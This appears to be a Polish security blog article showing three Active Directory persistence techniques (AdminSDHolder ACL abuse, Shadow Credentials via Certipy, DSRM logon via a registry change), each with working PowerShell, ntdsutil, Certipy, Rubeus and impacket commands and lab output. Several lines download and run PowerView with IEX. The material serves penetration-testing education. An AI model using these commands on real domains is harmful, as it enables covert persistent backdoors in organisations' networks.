Konferencja Mega Sekurak Hacking Party w Krakowie – 26-27 października!

Utrzymanie dostępu – mniej oczywiste mechanizmy w środowisku Active Directory

07 kwietnia 2026, 11:02 | Aktualności, Teksty | 0 komentarzy

Podczas testów penetracyjnych, lub w trakcie rzeczywistego ataku, samo uzyskanie dostępu do systemu czy domeny to zwykle dopiero początek. Kluczowe staje się pytanie: co dalej? W jaki sposób utrzymać zdobyty przyczółek tak, aby możliwy był powrót do środowiska, nawet jeśli pierwotna ścieżka ataku zostanie zamknięta.

Odpaliliśmy nowe MEGA szkolenie! W skrócie: 10 intensywnych (30 h, wypełnionych demonstracjami live), praktycznych sesji poświęconych testowaniu bezpieczeństwa środowisk AD on-premise – od podstaw enumeracji, przez ataki na protokoły uwierzytelniania, nadużycia uprawnień i certyfikatów, aż po pełną symulację red teamowego łańcucha ataku. 

Zapisy: https://sklep.securitum.pl/active-directory-master/ad-blog60

Kiedy myślimy o mechanizmach utrzymania dostępu w środowiskach opartych o systemy Microsoft Windows, pierwsze co może przyjść na myśl to klasyczne dodawanie odpowiednich kluczy rejestru (np. Runkeys), wpisów do harmonogramu zadań czy instalacja lokalnej usługi.

Sprawa wygląda znacznie ciekawiej, gdy atakujący przejmie kontrolę nad kontrolerem domeny lub uzyska konto z odpowiednimi uprawnieniami w skompromitowanym środowisku. Wtedy wachlarz możliwości jest dużo szerszy, niektóre mechanizmy są dość oczywiste, inne znacznie mniej.

W tym artykule przybliżę trzy, subiektywnie ciekawsze mechanizmy, które mogą zostać wykorzystane przez atakującego w środowisku Active Directory.

Czym jest utrzymanie dostępu?

Utrzymanie dostępu (z ang. persistence) jest jednym z etapów podczas infiltracji organizacji przez atakującego. Nie dotyczy on wyłącznie środowisk opartych o Active Directory czy Azure , może mieć miejsce w AWS, GCP, a także w firmach, które nie korzystają z domeny (w rozumieniu Microsoft) ani rozbudowanej infrastruktury.

Z perspektywy atakującego jest to bardzo istotny element. Pozwala na powrót do środowiska w dowolnym momencie (o ile system działa), bez konieczności ponownego przeprowadzania ataku (z ang. initial access), czy to przez phishing lub podatne oprogramowanie. Ponowienie przełamania zabezpieczeń, infekcji stacji pracownika lub exploitacji, często staje się znacznie trudniejsze lub wręcz niemożliwe do powtórzenia.

AdminSDHolder

AdminSDHolder to specjalny obiekt w usłudze Active Directory, który pełni rolę szablonu uprawnień (ACL) dla kont i grup o wysokich uprawnieniach (tzw. obiektów chronionych).

Jego głównym celem jest zapewnienie, że listy kontroli dostępu (ACL) dla uprzywilejowanych kont i grup nie zostaną omyłkowo zmodyfikowane – np. przez błędne dziedziczenie uprawnień z OU.

W przykładach wykorzystam domenę lapistech.corp.

Mechanizm ten działa w następujący sposób:

  • W domenie Lapistech.corp, istnieje obiekt: CN=AdminSDHolder,CN=System,DC=lapistech,DC=corp
  • co około 60 minut uruchamiany jest proces SDProp (Security Descriptor Propagator),
  • proces ten kopiuje listę ACL z obiektu AdminSDHolder na wszystkie obiekty oznaczone jako chronione,
  • wyłączane jest dziedziczenie uprawnień,
  • DACL zostaje nadpisana zgodnie z szablonem.

Ochroną objęte są między innymi:

  • Domain Admins,
  • Enterprise Admins,
  • Schema Admins,
  • Administrators,
  • konto krbtgt.

Każdy obiekt należący do takiej grupy otrzymuje atrybut adminCount=1 i przestaje dziedziczyć uprawnienia z OU. Warto jednak podkreślić to, że AdminSDHolder nie jest grupą, nie jest on dodawany do użytkownika jako atrybut. Jest to szablon bezpieczeństwa, który kontroluje sposób zabezpieczenia uprzywilejowanych kont.

Nadużycie AdminSDHolder

Z perspektywy atakującego mechanizm ten może zostać wykorzystany jako trwały “backdoor logiczny” w domenie.

Scenariusz wygląda następująco:

1. Atakujący uzyskuje uprawnienia Domain Admin.

2. Modyfikuje listę ACL obiektu: CN=AdminSDHolder,CN=System,DC=lapistech,DC=corp

3. Atakujący dodaje swoje konto lub inne, nad którym ma kontrole, dopisując uprawnienia typu, ale nie tylko:

  • GenericAll,
  • WriteMembers,
  • ResetPassword.

4. Po maksymalnie 60 minutach proces SDProp replikuje tę zmianę na wszystkie chronione konta i grupy.

Oznacza to, że po wykonaniu procesu SDProp wszystkie obiekty oznaczone jako chronione (np. członkowie grupy Domain Admins czy wbudowane konto Administrator) otrzymują w swojej liście kontroli dostępu (DACL) wpisy zgodne z konfiguracją obiektu AdminSDHolder.

Załóżmy, że atakujący utworzył lub przejął konto o niskich uprawnieniach o nazwie pawel.atakujacy. Następnie, modyfikując obiekt AdminSDHolder, dodaje do jego listy ACL wpis nadający temu kontu uprawnienie typu GenericAll (lub inne pozwalające na pełną kontrolę).

W efekcie, po propagacji zmian przez mechanizm SDProp – identyczny wpis zostanie skopiowany do DACL wszystkich obiektów chronionych w domenie.

Co istotne, pawel.atakujacy nie musi być członkiem żadnej uprzywilejowanej grupy. Nie musi należeć do Domain Admins ani posiadać bezpośrednich uprawnień administracyjnych. Wystarczy, że jego wpis znajduje się w ACL obiektu AdminSDHolder.

Po zakończeniu propagacji konto to uzyskuje możliwość modyfikowania wszystkich obiektów chronionych przez AdminSDHolder – w tym resetowania haseł, zmiany członkostwa w grupach czy nadawania sobie dodatkowych uprawnień.

Jeżeli więc atakujący zostanie usunięty z grupy Domain Admins, nadal może:

  • dodać siebie ponownie do Domain Admins,
  • zresetować hasło konta Administrator,
  • zmodyfikować konto krbtgt.
Rysunek 1 Infografika przedstawiająca działanie mechanizmu AdminSDHolder w uproszczeniu.

Przykład wykorzystania AdminSDHolder

Działanie najlepiej pokazać, na przykładzie realnego scenariusza, w którym atakujący posiada pod kontrolą dwa konta:

  • lapistech.corp\Administrator – Administrator Domeny (Domain Admin),
  • lapistech.corp\pawel.atakujacy – zwykłe konto w domenie, bez uprawnień DA.

Weryfikacja uprawnień konta pawel.atakujacy, brak członkostwa w grupie Domain Admins oraz brak adminCount, za pomocą modułu Active Directory w PowerShellu:

PS C:\Users\Administrator> Get-ADUser pawel.atakujacy -Properties MemberOf,adminCount
 
DistinguishedName : CN=Pawel Atakujacy,CN=Users,DC=lapistech,DC=corp
Enabled       	: True
GivenName     	:
MemberOf      	: {}
Name          	: Pawel Atakujacy
ObjectClass   	: user
ObjectGUID    	: d6a44bfd-45be-467c-bfc0-5515c99bb86b
SamAccountName	: pawel.atakujacy
SID           	: S-1-5-21-1175304885-166450823-961649754-1127
Surname       	:
UserPrincipalName : pawel.atakujacy@lapistech.corp

Dodanie GenericAll dla konta pawel.atakujacy:

PS C:\Users\Administrator> $User = Get-ADUser pawel.atakujacy
PS C:\Users\Administrator> $AdminSDHolder = "AD:CN=AdminSDHolder,CN=System,DC=lapistech,DC=corp"
PS C:\Users\Administrator>
PS C:\Users\Administrator> $acl = Get-Acl $AdminSDHolder
PS C:\Users\Administrator>
PS C:\Users\Administrator> $identity = New-Object System.Security.Principal.NTAccount("lapistech\pawel.atakujacy")
PS C:\Users\Administrator> $ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
>> 	$identity,
>> 	"GenericAll",
>> 	"Allow"
>> )
PS C:\Users\Administrator>
PS C:\Users\Administrator> $acl.AddAccessRule($ace)
PS C:\Users\Administrator> Set-Acl -Path $AdminSDHolder -AclObject $acl

Weryfikacja dodania GenericAll:

PS C:\Users\Administrator> (Get-Acl $AdminSDHolder).Access | Where-Object {$_.IdentityReference -like "*pawel*"}
 
ActiveDirectoryRights : GenericAll
InheritanceType   	: None
ObjectType        	: 00000000-0000-0000-0000-000000000000
InheritedObjectType   : 00000000-0000-0000-0000-000000000000
ObjectFlags       	: None
AccessControlType 	: Allow
IdentityReference 	: LAPISTECH\pawel.atakujacy
IsInherited       	: False
InheritanceFlags  	: None
PropagationFlags  	: None

Od tej pory, pawel.atakujacy, może dodać siebie do grupy. Poniżej przykład, w którym atakujący dodaje siebie do grupy Domain Admins, z dowolnej stacji w skompromitowanej domenie:

PS C:\> whoami
lapistech\pawel.atakujacy
PS C:\> IEX (New-Object Net.WebClient).DownloadString("http://192.168.3.122:8000/files/PowerView.ps1")
PS C:\> Add-DomainGroupMember -Identity "Domain Admins" -Members "pawel.atakujacy"
PS C:\> Get-DomainGroupMember "Domain Admins"
 
 
GroupDomain         	: lapistech.corp
GroupName           	: Domain Admins
GroupDistinguishedName  : CN=Domain Admins,CN=Users,DC=lapistech,DC=corp
MemberDomain        	: lapistech.corp
MemberName          	: pawel.atakujacy
MemberDistinguishedName : CN=Pawel Atakujacy,CN=Users,DC=lapistech,DC=corp
MemberObjectClass   	: user
MemberSID           	: S-1-5-21-1175304885-166450823-961649754-1127
 
GroupDomain         	: lapistech.corp
GroupName           	: Domain Admins
GroupDistinguishedName  : CN=Domain Admins,CN=Users,DC=lapistech,DC=corp
MemberDomain        	: lapistech.corp
MemberName          	: Administrator
MemberDistinguishedName : CN=Administrator,CN=Users,DC=lapistech,DC=corp
MemberObjectClass   	: user
MemberSID           	: S-1-5-21-1175304885-166450823-961649754-500

Nawet jeśli konto pawel.atakujacy zostanie usunięte z grupy Domain Admins, w dowolnym momencie może ponownie przywrócić sobie takie uprawnienia – dopóki nie zostanie naprawiona lista ACL obiektu AdminSDHolder oraz nie zostaną przywrócone poprawne uprawnienia na obiektach chronionych.

Shadow Credentials

Shadow Credentials to kolejna technika, która pozwala utrzymać dostęp w przejętym środowisku domenowym. Active Directory umożliwia uwierzytelnianie przy użyciu kluczy kryptograficznych zapisanych w atrybucie msDS-KeyCredentialLink. Mechanizm ten wykorzystywany jest m.in. przez Windows Hello for Business i opiera się na tzw. modelu Key Trust. Jeżeli atakujący posiada możliwość zapisu do tego atrybutu, może dodać własny klucz publiczny i uwierzytelniać się jako wybrane konto – bez znajomości jego hasła.

W kontekście Shadow Credentials oznacza to, że po dodaniu własnego klucza publicznego do atrybutu msDS-KeyCredentialLink, kontroler domeny uznaje go za prawidłowy mechanizm uwierzytelniania dla danego konta. Jeżeli atakujący posiada odpowiadający mu klucz prywatny, może uzyskać bilet TGT bez znajomości hasła użytkownika.

Aby wykorzystać Shadow Credentials w praktyce, kontroler domeny musi obsługiwać uwierzytelnianie Kerberos z użyciem certyfikatów, czyli tzw. PKINIT (ang. Public Key Cryptography for Initial Authentication).

PKINIT to rozszerzenie protokołu Kerberos, które pozwala na uwierzytelnienie przy użyciu klucza publicznego zamiast hasła. W przypadku protokołu Kerberos, klient wysyła do kontrolera domeny dane uwierzytelniające powiązane z hasłem użytkownika. Jednakże, sprawa wygląda inaczej przy PKINIT – proces ten opiera się na kryptografii asymetrycznej, kontroler domeny weryfikuje, czy klient posiada prywatny klucz odpowiadający kluczowi publicznemu zapisanym w Active Directory.

W praktyce oznacza to, że kontroler domeny musi posiadać odpowiedni certyfikat (np. typu Domain Controller Authentication / Kerberos Authentication), najczęściej wydany przez wewnętrzną infrastrukturę AD CS.

Jeżeli środowisko nie posiada skonfigurowanej infrastruktury certyfikatów (PKI) lub kontroler domeny nie ma właściwego certyfikatu, próba uwierzytelnienia przy użyciu klucza zapisanego w msDS-KeyCredentialLink zakończy się niepowodzeniem.

W wielu organizacjach infrastruktura certyfikatów jest jednak wdrożona – m.in. na potrzeby wcześniej wspomnianego Windows Hello for Business, czy np. VPN, EAP-TLS (wykorzystywane przy Wi-FI, np. WPA-2 Enterprise lub innych mechanizmów opartych o PKI – co sprawia, że warunki do wykorzystania Shadow Credentials są zwykle spełnione.

Wracając do samego wykorzystania Shadow Credentials. Aby wykorzystać ten mechanizm, nie wymagane jest bycie w grupie Domain Administrators. Wystarczy, że atakujący posiada odpowiednie uprawnienia do konkretnego obiektu, takie jak:

  • GenericWrite,
  • GenericAll,
  • WriteProperty do atrybutu msDS-KeyCredentialLink.

W praktyce oznacza to, że jeżeli przejęte konto ma możliwość modyfikacji wybranego użytkownika (np. poprzez błędnie nadane ACL), może dodać alternatywną metodę uwierzytelniania, nie zmieniając hasła ani członkostwa w grupach.

Warto zauważyć w tym miejscu, że jeżeli atakujący ma możliwość stworzenia alternatywnej metody uwierzytelnienia dla innego konta, np. takiego z wysokimi uprawnieniami (wyższymi niż ma obecnie), to jest to też bardzo skuteczna forma eskalacji uprawnień w domenie.

Rysunek 2 Uproszczona prezentacja wykorzystania Shadow Credentials.

Scenariusz wykorzystania Shadow Credentials

W przypadku pozyskania dostępu do konta z uprawnieniami administratora domeny, atakujący, może nadać ACL GenericWrite na ciekawy z jego perspektywy obiekt. Oczywiście, dla atakującego bardziej ciszej byłoby pozyskanie konta, które ma już takie uprawnienia, ale to nie zawsze jest możliwe.

Poniżej przedstawiono dodanie ACL GenericWrite dla konta pawel.atakujacy na konto svc-backdoor, które jest kontem serwisowym:

PS C:\Users\Administrator> $acl = Get-Acl "AD:CN=Service Backdoor,CN=Users,DC=lapistech,DC=corp"
PS C:\Users\Administrator>
PS C:\Users\Administrator> $identity = New-Object System.Security.Principal.NTAccount("lapistech\pawel.atakujacy")
PS C:\Users\Administrator>
PS C:\Users\Administrator> $ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
>> 	$identity,
>> 	"GenericWrite",
>> 	"Allow"
>> )
PS C:\Users\Administrator>
PS C:\Users\Administrator> $acl.AddAccessRule($ace)
PS C:\Users\Administrator> Set-Acl -Path "AD:CN=Service Backdoor,CN=Users,DC=lapistech,DC=corp" -AclObject $acl
PS C:\Users\Administrator>

Weryfikacja ACL z wykorzystaniem narzędzia PowerView:

PS C:\Users> whoami
lapistech\pawel.atakujacy
PS C:\Users> IEX (New-Object Net.WebClient).DownloadString("http://192.168.3.122:8000/files/PowerView.ps1")
PS C:\Users> Get-DomainObjectAcl -Identity "svc-backdoor" -ResolveGUIDs
 
AceQualifier       	: AccessAllowed
ObjectDN           	: CN=Service Backdoor,CN=Users,DC=lapistech,DC=corp
ActiveDirectoryRights  : ReadProperty
ObjectAceType      	: User-Account-Restrictions
ObjectSID          	: S-1-5-21-1175304885-166450823-961649754-1129
InheritanceFlags   	: None
BinaryLength       	: 56
AceType            	: AccessAllowedObject
ObjectAceFlags     	: ObjectAceTypePresent
IsCallback         	: False
PropagationFlags   	: None
SecurityIdentifier 	: S-1-5-21-1175304885-166450823-961649754-553
AccessMask         	: 16
AuditFlags         	: None
IsInherited        	: False
AceFlags           	: None
InheritedObjectAceType : All
OpaqueLength       	: 0
 
AceQualifier       	: AccessAllowed
ObjectDN           	: CN=Service Backdoor,CN=Users,DC=lapistech,DC=corp
ActiveDirectoryRights  : ReadProperty
ObjectAceType      	: User-Logon
ObjectSID          	: S-1-5-21-1175304885-166450823-961649754-1129
InheritanceFlags   	: None
BinaryLength       	: 56
AceType            	: AccessAllowedObject
ObjectAceFlags     	: ObjectAceTypePresent
IsCallback         	: False
PropagationFlags   	: None
SecurityIdentifier 	: S-1-5-21-1175304885-166450823-961649754-553
AccessMask         	: 16
AuditFlags         	: None
IsInherited        	: False
AceFlags           	: None
InheritedObjectAceType : All
OpaqueLength       	: 0
 
(dalszy wynik przycięty)

Ponieważ obiekt svc-backdoor, ma dość sporo ACL, to warto potwierdzić, zawężając wyszukiwanie do GenericWrite:

PS C:\Users> Get-DomainObjectAcl -Identity "svc-backdoor" -ResolveGUIDs |
>> Where-Object {$_.ActiveDirectoryRights -match "GenericWrite"} |
>> Select SecurityIdentifier, ActiveDirectoryRights, IsInherited
 
SecurityIdentifier                       	ActiveDirectoryRights IsInherited
------------------                       	--------------------- -----------
S-1-5-21-1175304885-166450823-961649754-1128      	GenericWrite   	False

Rozwiązanie identyfikatora (tzw. SID) na nazwę, w celu potwierdzenia poprawnego przydzielenia ACL do odpowiedniego użytkownika:

PS C:\Users> ConvertFrom-SID S-1-5-21-1175304885-166450823-961649754-1128
LAPISTECH\pawel.atakujacy

Od tego momentu atakujący, z poziomu konta pawel.atakujacy, na jednej ze stacji roboczych w domenie, może wykorzystać np. narzędzie Certipy.

Certipy (https://github.com/ly4k/Certipy) to narzędzie ofensywne przeznaczone do testowania bezpieczeństwa mechanizmów opartych o Kerberos i Active Directory Certificate Services. W kontekście Shadow Credentials umożliwia ono automatyczne wygenerowanie pary kluczy kryptograficznych, utworzenie odpowiedniej struktury KeyCredential oraz zapisanie jej w atrybucie msDS-KeyCredentialLink wybranego obiektu.

W praktyce oznacza to, że Certipy:

  • generuje prywatny i publiczny klucz,
  • zapisuje publiczny klucz w msDS-KeyCredentialLink,
  • wykorzystuje mechanizm PKINIT do uzyskania biletu TGT jako wskazane konto.

Cały proces odbywa się bez resetowania hasła oraz bez modyfikowania członkostwa w grupach. Od tego momentu atakujący posiada alternatywną metodę uwierzytelniania jako svc-backdoor.

Poniżej przedstawiono przykład wykorzystanie narzędzia Certipy z poziomu konta pawel.atakujacy, w celu wygenerowania klucza i zapisania go do atrybutu msDS-KeyCredentialLink konta svc-backdoor:

PS C:\Tools> .\certipy shadow auto -u pawel.atakujacy@lapistech.corp -p 'P@ssw0rd123!' -account svc-backdoor -dc-ip 192.168.6.101 -target dc01.lapistech.corp -debug
Certipy v5.0.4 - by Oliver Lyak (ly4k)
 
[+] DC host (-dc-host) not specified. Using domain as DC host
[+] Nameserver: '192.168.6.101'
[+] DC IP: '192.168.6.101'
[+] DC Host: 'LAPISTECH.CORP'
[+] Target IP: None
[+] Remote Name: 'dc01.lapistech.corp'
[+] Domain: 'LAPISTECH.CORP'
[+] Username: 'PAWEL.ATAKUJACY'
[+] Trying to resolve 'dc01.lapistech.corp' at '192.168.6.101'
[+] Authenticating to LDAP server using NTLM authentication
[+] Using NTLM signing: False (LDAP signing: True, SSL: True)
[+] Using channel binding signing: True (LDAP channel binding: True, SSL: True)
[+] Using LDAP channel binding for NTLM authentication
[+] LDAP NTLM authentication successful
[+] Bound to ldaps://192.168.6.101:636 - ssl
[+] Default path: DC=lapistech,DC=corp
[+] Configuration path: CN=Configuration,DC=lapistech,DC=corp
[*] Targeting user 'svc-backdoor'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID 'c19e03514f4e4aea8aa63f6549015bff'
[*] Adding Key Credential with device ID 'c19e03514f4e4aea8aa63f6549015bff' to the Key Credentials for 'svc-backdoor'
[*] Successfully added Key Credential with device ID 'c19e03514f4e4aea8aa63f6549015bff' to the Key Credentials for 'svc-backdoor'
[*] Authenticating as 'svc-backdoor' with the certificate
[*] Certificate identities:
[*] 	No identities found in this certificate
[*] Using principal: 'svc-backdoor@lapistech.corp'
[*] Trying to get TGT...
[+] Sending AS-REQ to KDC lapistech.corp (192.168.6.101)
[*] Got TGT
[*] Saving credential cache to 'svc-backdoor.ccache'
[+] Attempting to write data to 'svc-backdoor.ccache'
[+] Data written to 'svc-backdoor.ccache'
[*] Wrote credential cache to 'svc-backdoor.ccache'
[*] Trying to retrieve NT hash for 'svc-backdoor'
[*] Restoring the old Key Credentials for 'svc-backdoor'
[*] Successfully restored the old Key Credentials for 'svc-backdoor'
[*] NT hash for 'svc-backdoor': 7dfa0531d73101ca080c7379a9bff1c7
PS C:\Tools>

Podczas ataku:

  • do atrybutu msDS-KeyCredentialLink został chwilowo dodany klucz publiczny,
  • kontroler domeny wydał bilet TGT dla konta svc-backdoor,
  • uwierzytelnienie odbyło się przy użyciu PKINIT,

Warto zwrócić uwagę, że użyty został tryb auto, który powoduje przywrócenie pierwotnej wartości atrybutu po zakończeniu operacji – dzięki temu wpis nie pozostaje trwale w katalogu.

Jeżeli byśmy jednak nie chcieli wykorzystywać opcji auto, możemy zmienić tryb na dodanie Shadow Credentials poprzez argument add, który wygeneruje certyfikat i zapisze klucz prywatny w pliku PFX. Posiadając ten plik, możemy w dowolnym momencie samodzielnie wykonać uwierzytelnienie PKINIT i uzyskać nowy bilet TGT:

PS C:\Tools> .\certipy shadow add -u pawel.atakujacy@lapistech.corp -p 'P@ssw0rd123!' -account svc-backdoor -dc-ip 192.168.6.101 -target dc01.lapistech.corp
Certipy v5.0.4 - by Oliver Lyak (ly4k)
 
[*] Targeting user 'svc-backdoor'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '2ae8b74223bb4447bd31c1a918b17572'
[*] Adding Key Credential with device ID '2ae8b74223bb4447bd31c1a918b17572' to the Key Credentials for 'svc-backdoor'
[*] Successfully added Key Credential with device ID '2ae8b74223bb4447bd31c1a918b17572' to the Key Credentials for 'svc-backdoor'
[*] Saving certificate and private key to 'svc-backdoor.pfx'
[*] Saved certificate and private key to 'svc-backdoor.pfx'
PS C:\Tools>

Jeżeli nie korzystamy z trybu auto, lecz użyjemy opcji add, wpis w atrybucie msDS-KeyCredentialLink pozostanie w katalogu do momentu jego ręcznego usunięcia. Oznacza to, że dopóki nie wyczyścimy tego atrybutu, konto svc-backdoor będzie posiadało dodatkową, równoległą metodę uwierzytelniania opartą o klucz publiczny.

Możemy to łatwo zweryfikować z poziomu konta z odpowiednimi uprawnieniami (np. Administratora Domeny), odczytując zawartość atrybutu:

PS C:\Users\Administrator> Get-ADUser svc-backdoor -Properties msDS-KeyCredentialLink |
>> Select-Object -ExpandProperty msDS-KeyCredentialLink
B:828:00020000200001EB39E748BC3F4D8FE0BAEE35215298C254A5ADB30C4DDE3922080C3B6CCDD385200002B4D36F5CDE67B7FEB1DF046035A11745195EAD0773E411F9F46D3BDE6C1EC36A1B0103525341310008000003000000000100000000000000000000010001BB0B85DBF1DD801D8CD0DB02719D396741ECEECFA0CC9E7AE2B198D3023F142A222C22E6185C08D6F7CD1FD29B8BEFBFF77D48B8D34A18B5008A02D85C36058545E49FC910DCC3BC5672F854D000B3D51595AE42371FFA2D77B38329D6CD0422D94BC89FAC7D430A53776F43E1112B5DF6ECB02334FC23764B5F24BBE5135981E7C48305ACB72CE4BDA7558C0BDDB486D4BC1B9C1A4F81AE18F2E7E9E6D50CE6C3A54479A20E54157974D3578457F760887C7A199E0D1C66BAFC3E586A8C95FDF85E6D9F4785913AB7570E77EEEB542D71065B90E6F5B64FA1979A18A64C16BB45D3B8DFE3F0F25B4D5FEF0A8D98151B51695E8AAEE4A4DEC7402625AB90094901000401010005001000062AE8B74223BB4447BD31C1A918B17572020007010008000800A8C3F4B5A6DC0108000900A8C3F4B5A6DC01:CN=Service Backdoor,CN=Users,DC=lapistech,DC=corp

Powyższa wartość jest strukturą KeyCredential, zawierającą m.in. identyfikator DeviceID, klucz publiczny oraz metadane. Nie jest ona czytelna w formie tekstowej, jednak sama jej obecność oznacza, że konto posiada dodatkową metodę uwierzytelniania opartą o kryptografię asymetryczną.

W praktyce dopóki ten wpis istnieje w katalogu, posiadacz odpowiadającego mu klucza prywatnego może w dowolnym momencie przeprowadzić uwierzytelnienie PKINIT i uzyskać nowy bilet TGT – bez znajomości hasła użytkownika.

Wracając jednak do pierwszego przykładu, uzyskany bilet TGT został zapisany do pliku svc-backdoor.ccache. Plik ten można przekonwertować do formatu kirbi (formatu, który przetworzy poprawnie system Windows) za pomocą narzędzia impacket-ticketConverter:

└─$ impacket-ticketConverter svc-backdoor.ccache svc-backdoor.kirbi
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
 
[*] converting ccache to kirbi...
[+] done

Następnie bilet można załadować do bieżącej sesji systemu Windows przy użyciu narzędzia Rubeus:

PS C:\Tools> .\Rubeus.exe ptt /ticket:svc-backdoor.kirbi
 
[*] Action: Import Ticket
[+] Ticket successfully imported!

I sprawdzić, czy bilet został przypisany:

PS C:\Tools> klist
 
Current LogonId is 0:0x2c2a3a9d
 
Cached Tickets: (1)
 
#0> 	Client: svc-backdoor @ LAPISTECH.CORP
    	Server: krbtgt/LAPISTECH.CORP @ LAPISTECH.CORP
    	KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
    	Ticket Flags 0x81c20000 -> reserved invalid renewable initial 0x20000
    	Start Time: 2/25/2026 23:29:04 (local)
    	End Time:   2/26/2026 9:29:04 (local)
    	Renew Time: 2/26/2026 23:28:46 (local)
    	Session Key Type: AES-256-CTS-HMAC-SHA1-96
    	Cache Flags: 0x1 -> PRIMARY
    	Kdc Called:
PS C:\Tools>

Następnie można wykorzystać ticket, w celu dostania się do zasobu, do którego svc-backdoor ma dostęp. Przykładowo, w tym przypadku do serwera file-srv01, ponieważ ma tam uprawnienia lokalnego administratora, może połączyć się za pomocą protokołu WinRM:

PS C:\Tools> Enter-PSSession -ComputerName file-srv01
[file-srv01]: PS C:\Users\svc-backdoor\Documents> whoami /all
 
USER INFORMATION
----------------
 
User Name          	SID
====================== ============================================
lapistech\svc-backdoor S-1-5-21-1175304885-166450823-961649754-1129
 
 
GROUP INFORMATION
-----------------
 
Group Name                             	Type         	SID      	Attributes
========================================== ================ ============ ===============================================================
Everyone                               	Well-known group S-1-1-0  	Mandatory group, Enabled by default, Enabled group
BUILTIN\Administrators                 	Alias        	S-1-5-32-544 Mandatory group, Enabled by default, Enabled group, Group owner
BUILTIN\Users                          	Alias        	S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                   	Well-known group S-1-5-2  	Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users       	Well-known group S-1-5-11 	Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization         	Well-known group S-1-5-15 	Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity Well-known group S-1-18-1 	Mandatory group, Enabled by default, Enabled group
Key trust identity                     	Well-known group S-1-18-4 	Mandatory group, Enabled by default, Enabled group
Key property multi-factor authentication   Well-known group S-1-18-5 	Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Certificate Well-known group S-1-5-65-1   Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level   	Label        	S-1-16-12288

Jak widać, od tego momentu bieżąca sesja systemu działa w kontekście konta svc-backdoor. Uwierzytelnienie odbywa się wyłącznie przy użyciu klucza prywatnego odpowiadającego publicznemu kluczowi zapisanemu w msDS-KeyCredentialLink.

DSRM

Ostatnim ciekawym sposobem na utrzymanie dostępu, jest wykorzystanie mechanizmu DSRM(ang. Directory Services Restore Mode To specjalny tryb uruchamiania kontrolera domeny wykorzystywany do naprawy Active Directory. Podczas instalacji roli AD DS definiowane jest oddzielne hasło lokalnego administratora DSRM.

Co istotne, konto DSRM nie jest kontem domenowym. Jest to lokalne konto administratora kontrolera domeny, istniejące w bazie SAM systemu Windows. Działa niezależnie od mechanizmów Kerberos, grup domenowych oraz atrybutów Active Directory.

W standardowym scenariuszu konto to może zostać użyte wyłącznie w trybie przywracania usług katalogowych. Jednak system Windows umożliwia zmianę jego zachowania poprzez odpowiednią konfigurację rejestru, co pozwala na logowanie przy użyciu konta DSRM również w trybie standardowym.

Mechanizm, który miał służyć do naprawy systemu, staje się funkcjonalnością, którą atakujący może wykorzystać, dlaczego? Ponieważ:

  • konto DSRM nie jest widoczne w Active Directory,
  • nie podlega analizie członkostwa w grupach domenowych,
  • zmiana haseł domenowych nie wpływa na hasło DSRM,
  • usunięcie kont domenowych nie usuwa dostępu przez DSRM.

Jeżeli atakujący uzyskał wcześniej uprawnienia administracyjne na kontrolerze domeny i zna (lub ustawił) hasło DSRM, może pozostawić sobie alternatywną ścieżkę dostępu na poziomie systemowym.

Rysunek 3 Uproszczony schemat działania DSRM.

DSRM w praktyce z perspektywy atakującego

W tym scenariuszu ważne jest że atakujący ma dostęp do kontrolera domeny. Następnie wystarczy, że uruchomi narzędzie ntdsutil, wejdzie w tryb reset hasła DSRM i poda nowe hasło:

C:\Users\Administrator>ntdsutil
ntdsutil: set dsrm password
Reset DSRM Administrator Password: reset password on server null
Please type password for DS Restore Mode Administrator Account: **************
Please confirm new password: **************
Password has been set successfully.
 
Reset DSRM Administrator Password: quit
ntdsutil: quit
 
C:\Users\Administrator>

Domyślnie konto DSRM może być użyte tylko w trybie przywracania. Aby umożliwić logowanie również w trybie normalnym, należy zmodyfikować odpowiednią wartość rejestru – czyli ustawić na 2:

C:\Users\Administrator>reg add HKLM\System\CurrentControlSet\Control\Lsa /v DsrmAdminLogonBehavior /t REG_DWORD /d 2 /f
The operation completed successfully.

Po zmianie w rejestrze można wykorzystać konto DSRM (DC01\Administrator), nie mylić z .\Administrator ani domena\Administrator, i uwierzytelnić się przez np. usługę RDP, tak jak zostało to pokazane poniżej:

Rysunek 4 Ekran logowania jako konto DSRM na kontrolerze domeny.

Poniżej znajduje się wynik wykonania komendy whoami na kontrolerze domeny, pokazujący inny kontekst niż administrator domenowy

C:\Users\Administrator.DC01>whoami
dc01\administrator
 
C:\Users\Administrator.DC01>

Podsumowanie

Utrzymanie dostępu w środowisku domenowym nie zawsze oznacza dodanie użytkownika do grupy Domain Admins, utworzenie ukrytego konta czy modyfikację GPO. Istnieją mechanizmy znacznie mniej oczywiste, które działają na różnych warstwach architektury Active Directory.

Odpaliliśmy nowe MEGA szkolenie! W skrócie: 10 intensywnych (30 h, wypełnionych demonstracjami live), praktycznych sesji poświęconych testowaniu bezpieczeństwa środowisk AD on-premise – od podstaw enumeracji, przez ataki na protokoły uwierzytelniania, nadużycia uprawnień i certyfikatów, aż po pełną symulację red teamowego łańcucha ataku. 

Zapisy: https://sklep.securitum.pl/active-directory-master/ad-blog60

W tym artykule, pokazano trzy alternatywne podejścia:

  • AdminSDHolder – szablon, który można nadużyć na poziomie dziedziczenia uprawnień (ACL),
  • Shadow Credentials – mechanizm w warstwie uwierzytelniania (PKINIT / msDS-KeyCredentialLink),
  • DSRM – funkcjonalność na poziomie samego kontrolera domeny, poza strukturą AD.

Jeżeli atakujący uzyska uprawnienia administracyjne w domenie, nawet na krótki czas, może wykorzystać natywne funkcje systemu do stworzenia ciekawego, nieoczywistego i często trudnego do zidentyfikowania backdoora,, szczególnie jak środowisko AD, w którym pracujemy jest dość duże.

~Wiktor Szymanik

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

Odpowiedz